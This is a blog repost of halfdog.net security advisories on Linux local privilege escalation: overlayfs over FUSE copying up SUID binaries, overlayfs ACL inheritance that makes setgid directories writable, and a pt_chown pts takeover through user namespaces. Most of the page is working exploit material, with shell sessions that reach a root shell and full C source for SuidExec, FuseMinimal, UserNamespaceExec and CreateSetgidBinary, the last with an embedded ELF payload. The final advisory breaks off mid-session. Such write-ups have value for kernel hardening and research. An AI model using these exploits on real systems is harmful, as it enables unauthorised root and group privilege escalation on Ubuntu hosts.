Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863584021

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/

## Introduction

Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.

## Methods

Basic exploitation sequence is:

- Mount fuse filesystem exposing one world writable SUID binary
- Create USERNS
- Mount overlayfs on top of fuse
- Open the SUID binary RDWR in overlayfs, thus triggering copy_up

This can be archived, e.g.

SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)

test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of ‘mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)




--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool changes to uid/gid 0 and executes the program supplied
 *  via arguments.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main(int argc, char **argv) {
  if(argc<2) {
    fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
    return(1);
  }

  int rUid, eUid, sUid, rGid, eGid, sGid;
  getresuid(&rUid, &eUid, &sUid);
  getresgid(&rGid, &eGid, &sGid);
  if(setresuid(sUid, sUid, rUid)) {
    fprintf(stderr, "Failed to set uids\n");
    return(1);
  }
  if(setresgid(sGid, sGid, rGid)) {
    fprintf(stderr, "Failed to set gids\n");
    return(1);
  }

  execve(argv[1], argv+1, environ);

  return(1);
}
--- EOF ---

--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  Minimal userspace file system demo, compile using
 *  gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
 *
 *  See also /usr/include/fuse/fuse.h
 */

#define FUSE_USE_VERSION 28

#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static FILE	*logFile;

static char	*fileNameNormal="/file";
static char	*fileNameCharDev="/chardev";
static char	*fileNameNormalSubFile="/dir/file";

static char	*realFileName="./RealFile";
static int	realFileHandle=-1;

static int io_getattr(const char *path, struct stat *stbuf) {
  fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
      path, stbuf);
  fflush(logFile);

  int res=-ENOENT;
  memset(stbuf, 0, sizeof(struct stat));
  if(strcmp(path, "/") == 0) {
    stbuf->st_mode=S_IFDIR|0755;
    stbuf->st_nlink=2;
    res=0;
  } else if(strcmp(path, fileNameCharDev)==0) {
//    stbuf->st_dev=makedev(5, 2);
    stbuf->st_mode=S_IFCHR|0777;
    stbuf->st_rdev=makedev(5, 2);
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=100;
    res=0;
  } else if(strcmp(path, "/dir")==0) {
    stbuf->st_mode=S_IFDIR|S_ISGID|0777;
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=1<<12;
    res=0;
  } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    stbuf->st_mode=S_ISUID|S_IFREG|0777;
    stbuf->st_size=100;

    if(realFileName) {
      if(fstat(realFileHandle, stbuf)) {
        fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
            realFileName, errno, strerror(errno));
      } else {
// Just change uid/suid, which is far more interesting during testing
        stbuf->st_mode|=S_ISUID;
        stbuf->st_uid=0;
        stbuf->st_gid=0;
      }
    } else {
      stbuf->st_mode=S_ISUID|S_IFREG|0777;
      stbuf->st_size=100;
    }
    stbuf->st_nlink=1; // Number of hard links
    res=0;
  }

  return(res);
}


static int io_readlink(const char *path, char *buffer, size_t length) {
  fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
      path, buffer, (long)length);
  fflush(logFile);
  return(-1);
}


static int io_unlink(const char *path) {
  fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
  fflush(logFile);
  return(0);
}


static int io_rename(const char *oldPath, const char *newPath) {
  fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
      oldPath, newPath);
  fflush(logFile);
  return(0);
}


static int io_chmod(const char *path, mode_t mode) {
  fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
  fflush(logFile);
  return(0);
}


static int io_chown(const char *path, uid_t uid, gid_t gid) {
  fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
  fflush(logFile);
  return(0);
}


/** Open a file. This function checks access permissions and may
 *  associate a file info structure for future access.
 *  @returns 0 when open OK
 */
static int io_open(const char *path, struct fuse_file_info *fi) {
  fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
  fflush(logFile);

  return(0);
}


static int io_read(const char *path, char *buffer, size_t length,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
      path, buffer, (long)length, (long)offset, fi);
  fflush(logFile);

  if(length<0) return(-1);
  if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    if(!realFileName) {
      if((offset<0)||(offset>4)) return(-1);
      if(offset+length>4) length=4-offset;
      if(length>0) memcpy(buffer, "xxxx", length);
      return(length);
    }
    if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
      fprintf(stderr, "read: seek on %s failed\n", path);
      return(-1);
    }
    return(read(realFileHandle, buffer, length));
  }
  return(-1);
}


static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
      path, buf, filler, ((long)offset), fi);
  fflush(logFile);

  (void) offset;
  (void) fi;
  if(!strcmp(path, "/")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, fileNameCharDev+1, NULL, 0);
    filler(buf, "dir", NULL, 0);
    filler(buf, fileNameNormal+1, NULL, 0);
    return(0);
  } else if(!strcmp(path, "/dir")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, "file", NULL, 0);
    return(0);
  }
  return -ENOENT;
}


static int io_access(const char *path, int mode) {
  fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
      path, mode);
  fflush(logFile);
  return(0);
}


static int io_ioctl(const char *path, int cmd, void *arg,
    struct fuse_file_info *fi, unsigned int flags, void *data) {
  fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
      path, cmd, arg, fi, flags, data);
  fflush(logFile);
  return(0);
}


static struct fuse_operations hello_oper = {
  .getattr	= io_getattr,
  .readlink	= io_readlink,
// .getdir =  deprecated
// .mknod
// .mkdir
  .unlink	= io_unlink,
// .rmdir
// .symlink
  .rename	= io_rename,
// .link
  .chmod	= io_chmod,
  .chown	= io_chown,
// .truncate
// .utime
  .open = io_open,
  .read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
  .readdir	= io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
  .access	= io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
 .ioctl = io_ioctl,
// .poll
};

int main(int argc, char *argv[]) {
  char	buffer[128];

  realFileHandle=open(realFileName, O_RDWR);
  if(realFileHandle<0) {
    fprintf(stderr, "Failed to open %s\n", realFileName);
    exit(1);
  }

  snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
  logFile=fopen(buffer, "a");
  if(!logFile) {
    fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
    return(1);
  }
  fprintf(logFile, "Starting fuse init\n");
  fflush(logFile);

  return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---

--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool creates a new namespace, initialize the uid/gid
 *  map and execute the program given as argument. This is similar
 *  to unshare(1) from newer util-linux packages.
 *
 *  gcc -o UserNamespaceExec UserNamespaceExec.c
 *
 *  Usage: UserNamespaceExec [options] -- [program] [args]
 *
 *  * --NoSetGroups: do not disable group chanages
 *  * --NoSetGidMap:
 *  * --NoSetUidMap:
 */


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  int parentPid=getppid();
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while((geteuid()!=0)&&(parentPid==getppid())) {
    sleep(1);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=execve(((char**)arg)[0], (char**)arg, environ);
  fprintf(stderr, "Exec failed\n");
  return(1);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int noSetGroupsFlag=0;
  int setGidMapFlag=1;
  int setUidMapFlag=1;
  int result;

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }
    if(!strcmp(argName, "--NoSetGidMap")) {
      setGidMapFlag=0;
      continue;
    }
    if(!strcmp(argName, "--NoSetGroups")) {
      noSetGroupsFlag=1;
      continue;
    }
    if(!strcmp(argName, "--NoSetUidMap")) {
      setUidMapFlag=0;
      continue;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }


// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  if(!noSetGroupsFlag) {
    sprintf(idMapFileName, "/proc/%d/setgroups", pid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    if(setGroupsFd<0) {
      fprintf(stderr, "Failed to open setgroups\n");
      return(1);
    }
    result=write(setGroupsFd, "deny", 4);
    if(result<0) {
      fprintf(stderr, "Failed to disable setgroups\n");
      return(1);
    }
    close(setGroupsFd);
  }

  if(setUidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/uid_map", pid);
    fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    if(uidMapFd<0) {
      fprintf(stderr, "Failed to open uid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
      return(1);
    }
    close(uidMapFd);
  }

  if(setGidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/gid_map", pid);
    fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    if(gidMapFd<0) {
      fprintf(stderr, "Failed to open gid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      if(noSetGroupsFlag) {
        fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
      } else {
        fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
        return(1);
      }
    }
    close(gidMapFd);
  }

  if(waitpid(pid, NULL, 0)==-1) {
    fprintf(stderr, "Wait failed\n");
    return(1);
  }
  return(0);
}
--- EOF ---
            
Source: http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/

## Introduction

### Problem description: 
Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface.
Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose.

Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid.

## Methods

### Target Selection: 
Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)

### Exploitation: 
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it.

### Inside:

test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ ./UserNamespaceExec -- /bin/bash
root# mkdir mnt test work
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily

### Outside:

test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty
test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily

### Inside:

root# chmod 02777 mnt/[targetdir]
root# umount mnt

### Outside:

test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg
test$ test/[targetdir]/escalate ./SuidExec /bin/bash
test$ touch x
test$ ls -al x
-rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x






--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
 *  License: https://www.gnu.org/licenses/lgpl-3.0.en.html
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}
--- EOF ---

--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool creates a new namespace, initialize the uid/gid
 *  map and execute the program given as argument. This is similar
 *  to unshare(1) from newer util-linux packages.
 *
 *  gcc -o UserNamespaceExec UserNamespaceExec.c
 *
 *  Usage: UserNamespaceExec [options] -- [program] [args]
 *
 *  * --NoSetGroups: do not disable group chanages
 *  * --NoSetGidMap:
 *  * --NoSetUidMap:
 */


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  int parentPid=getppid();
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while((geteuid()!=0)&&(parentPid==getppid())) {
    sleep(1);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=execve(((char**)arg)[0], (char**)arg, environ);
  fprintf(stderr, "Exec failed\n");
  return(1);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int noSetGroupsFlag=0;
  int setGidMapFlag=1;
  int setUidMapFlag=1;
  int result;

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }
    if(!strcmp(argName, "--NoSetGidMap")) {
      setGidMapFlag=0;
      continue;
    }
    if(!strcmp(argName, "--NoSetGroups")) {
      noSetGroupsFlag=1;
      continue;
    }
    if(!strcmp(argName, "--NoSetUidMap")) {
      setUidMapFlag=0;
      continue;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }


// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  if(!noSetGroupsFlag) {
    sprintf(idMapFileName, "/proc/%d/setgroups", pid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    if(setGroupsFd<0) {
      fprintf(stderr, "Failed to open setgroups\n");
      return(1);
    }
    result=write(setGroupsFd, "deny", 4);
    if(result<0) {
      fprintf(stderr, "Failed to disable setgroups\n");
      return(1);
    }
    close(setGroupsFd);
  }

  if(setUidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/uid_map", pid);
    fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    if(uidMapFd<0) {
      fprintf(stderr, "Failed to open uid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
      return(1);
    }
    close(uidMapFd);
  }

  if(setGidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/gid_map", pid);
    fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    if(gidMapFd<0) {
      fprintf(stderr, "Failed to open gid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      if(noSetGroupsFlag) {
        fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
      } else {
        fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
        return(1);
      }
    }
    close(gidMapFd);
  }

  if(waitpid(pid, NULL, 0)==-1) {
    fprintf(stderr, "Wait failed\n");
    return(1);
  }
  return(0);
}
--- EOF ---

--- SuidExec.c---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool changes to uid/gid 0 and executes the program supplied
 *  via arguments.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main(int argc, char **argv) {
  if(argc<2) {
    fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
    return(1);
  }

  int rUid, eUid, sUid, rGid, eGid, sGid;
  getresuid(&rUid, &eUid, &sUid);
  getresgid(&rGid, &eGid, &sGid);
  if(setresuid(sUid, sUid, rUid)) {
    fprintf(stderr, "Failed to set uids\n");
    return(1);
  }
  if(setresgid(sGid, sGid, rGid)) {
    fprintf(stderr, "Failed to set gids\n");
    return(1);
  }

  execve(argv[1], argv+1, environ);

  return(1);
}
--- EOF ---
            
Source: http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/

## Introduction

Problem description: With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:

  pty = ptsname (PTY_FILENO);
  if (pty == NULL)
    ...
  /* Get the group ID of the special `tty' group.  */
  p = getgrnam (TTY_GROUP);
  gid = p ? p->gr_gid : getgid ();

  /* Set the owner to the real user ID, and the group to that special
     group ID.  */
  if (chown (pty, getuid (), gid) < 0)
    return FAIL_EACCES;

  /* Set the permission mode to readable and writable by the owner,
     and writable by the group.  */
  if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
      && chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
    return FAIL_EACCES;

  return 0;

The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then 

## Methods

Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) and work with standard shell commands, e.g. to take over /dev/pts/0:

test# who am I
test    pts/1        2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx

Use a second shell to continue:

test# cd /proc/5783/cwd
test# ls -al
total 4
